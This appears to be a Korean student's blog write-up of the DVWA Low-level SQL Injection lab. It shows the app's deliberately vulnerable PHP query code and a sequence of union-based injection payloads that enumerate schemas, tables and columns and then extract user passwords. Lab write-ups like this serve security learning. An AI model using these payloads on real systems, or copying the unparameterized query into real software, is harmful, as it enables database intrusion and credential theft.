Vulnerability: SQL Injection
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
View Source를 통해 소스코드를 확인해보면 사용자 입력인 id 변수를 입력하면 users 테이블에서 해당 user_id의 first_name 과 last_name을 가져와 출력하는 것을 알 수 있다.
사용자 입력에 대한 검증이 아무것도 없기 때문에 SQL Injection에 취약하며, 결과로 받은 데이터들이 여러개 있을 경우 모두 출력하도록 되어있다.
SELECT first_name, last_name FROM users WHERE user_id = '$id'; 에서 id 변수가 바뀌는 것이므로 이를 이용하여
입력란에 ' or true# 를 입력해보면 WHERE 절이 항상 참으로 나와 다음과 같이 모든 유저의 first_name과 last_name을 조회할 수 있다.
이번엔 입력란에 ' union select 1, schema_name from information_schema.schemata#를 입력하여 데이터베이스 종류를 파악해보자.
information_schema, bWAPP, drupageddon, dvwa, mysql 테이블이 존재하는 것을 확인할 수 있다.
' union select 1, table_name from information_schema.tables where table_schema='dvwa'#를 입력하면 dvwa의 테이블을 확인할 수 있다.
users 테이블에 비밀번호와 관련된 컬럼이 있는지 확인하기위해
' union select 1, column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#을 입력해보자.
users 테이블에 user_id, first_name, last_name 뿐만 아니라 password라는 컬럼이 있는 것을 확인하였다.
' union select user_id, password FROM dvwa.users# 를 입력하면 아래와 같이 First name에 user_id, Surname에 password가 출력되는 것을 볼 수 있다.
'빡공팟(P4C)' 카테고리의 다른 글
웹해킹트랙 5주차 과제 - DVWA Low레벨 실습 #Weak Session IDs (0) | 2022.10.23 |
---|---|
웹해킹트랙 5주차 과제 - DVWA Low레벨 실습 #SQL Injection(Blind) (0) | 2022.10.23 |
웹해킹트랙 5주차 과제 - DVWA Low레벨 실습 #Insecure CAPTCHA (0) | 2022.10.23 |
웹해킹트랙 5주차 과제 - DVWA Low레벨 실습 #File Upload (0) | 2022.10.23 |
웹해킹트랙 5주차 과제 - DVWA Low레벨 실습 #File Inclusion (0) | 2022.10.23 |